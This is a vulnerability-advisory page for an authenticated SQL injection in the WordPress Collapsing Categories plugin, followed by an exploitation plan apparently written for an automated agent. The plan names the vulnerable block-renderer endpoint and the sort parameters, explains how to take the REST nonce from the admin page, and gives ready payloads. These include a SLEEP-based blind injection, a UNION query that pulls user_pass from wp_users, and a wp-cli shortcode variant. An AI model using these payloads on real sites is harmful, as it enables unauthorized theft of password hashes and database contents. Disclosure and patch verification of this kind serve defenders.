Collapsing Categories <= 3.0.9 - Authenticated (Contributor+) SQL Injection
Description
The Collapsing Categories plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.0.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.0.9What Changed in the Fix
Changes introduced in v3.0.12
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-32366 ## 1. Vulnerability Summary The **Collapsing Categories** plugin (version <= 3.0.9) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize and parameterize user-supplied attributes passed …
Show full research plan
Exploitation Research Plan - CVE-2026-32366
1. Vulnerability Summary
The Collapsing Categories plugin (version <= 3.0.9) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize and parameterize user-supplied attributes passed to the get_collapscat_fromdb() function. Specifically, parameters like catSort, postSort, catSortOrder, and postSortOrder are interpolated directly into SQL queries without using $wpdb->prepare(). Since these parameters are accessible via Gutenberg block attributes and shortcodes, an attacker with Contributor+ privileges can inject arbitrary SQL commands.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wp/v2/block-renderer/collapsing-categories/collapscat(Gutenberg Block Renderer) - Vulnerable Parameters:
attributes[catSort],attributes[postSort],attributes[catSortOrder],attributes[postSortOrder] - Authentication Required: Contributor level or higher (must be able to access the block editor or edit posts).
- Preconditions: The plugin must be active. The block name is inferred as
collapsing-categories/collapscatbased on the classCollapsCatand functionrender_callback.
3. Code Flow
- Entry Point: A Contributor+ user accesses the Gutenberg editor or calls the Block Renderer REST API.
- Dispatcher: The
render_callback($attributes)function incollapscat.php(Line 59) receives the user-controlled attributes. - Intermediate:
render_callbackcallscollapsCat($instance, false, true)(Line 73), where$instancecontains the$attributes. - Data Retrieval:
collapsCatcallsget_collapscat_fromdb($args)incollapscatlist.php(Line 217 incollapscat.phptrace). - Sink: Inside
get_collapscat_fromdb(), the$args['catSort'](orpostSort) values are appended to anORDER BYclause in a raw SQL query using$wpdb->get_results()without preparation.
4. Nonce Acquisition Strategy
To exploit the block renderer via the REST API, a wp_rest nonce is required.
- Login: Authenticate as a Contributor user.
- Navigation: Navigate to the WordPress dashboard (
/wp-admin/index.php). - Extraction: Use
browser_evalto extract the REST nonce from thewpApiSettingsobject available in the admin context.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
5. Exploitation Strategy
The exploit will use a time-based blind SQL injection in the catSort attribute.
Step 1: Authentication and Nonce Extraction
- Authenticate the agent as a Contributor.
- Navigate to
/wp-admin/and extract thewp_restnonce.
Step 2: Proof of Concept (Time-based)
- Method:
GET - URL:
/wp-json/wp/v2/block-renderer/collapsing-categories/collapscat - Query Parameters:
context:editattributes[blockId]:1attributes[catSort]:cat_ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)_wpnonce:[EXTRACTED_NONCE]
- Expected Response: The request should take approximately 5 seconds longer than a baseline request.
Step 3: Data Extraction (UNION-based)
If the query results are reflected in the category names:
- Payload:
attributes[catSort]=(SELECT 1 FROM (SELECT 1)a) UNION SELECT 1,2,3,user_pass,5,6 FROM wp_users WHERE ID=1--(Adjust column count as needed).
6. Test Data Setup
- User: Create a user with the
contributorrole. - Content: Ensure at least one category exists in WordPress so the query returns results.
wp term create category "Test Category" --slug=test-cat
7. Expected Results
- Success Indicator: A successful time-based attack will show a distinct latency of 5+ seconds when the
SLEEP(5)payload is sent. - Response Payload: The block renderer returns a JSON object containing an
renderedkey with the HTML output of the block. If a UNION attack is successful, database content will appear within the category list items (<li class='collapsing-categories'>...</li>).
8. Verification Steps
- Check SQL execution: Use
wp db query "SHOW PROCESSLIST"via CLI during the SLEEP request to confirm the sleeping query. - Log verification: Check
wp-content/debug.logifWP_DEBUGis enabled to see the malformed query error if the payload requires adjustment.
9. Alternative Approaches
- Shortcode Injection: If the REST API route is restricted, a Contributor can create a post with a shortcode:
wp post create --post_type=post --post_status=publish --post_content='[collapsCat catSort="cat_ID, (SELECT 1 FROM (SELECT(SLEEP(5)))a)"]' --post_author=[CONTRIBUTOR_ID]- Then, use
http_requestto view the post frontend and measure response time.
- Post Sort Injection: If
catSortis filtered, try thepostSortattribute, which likely flows into a similar query for posts withinget_collapscat_fromdb.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.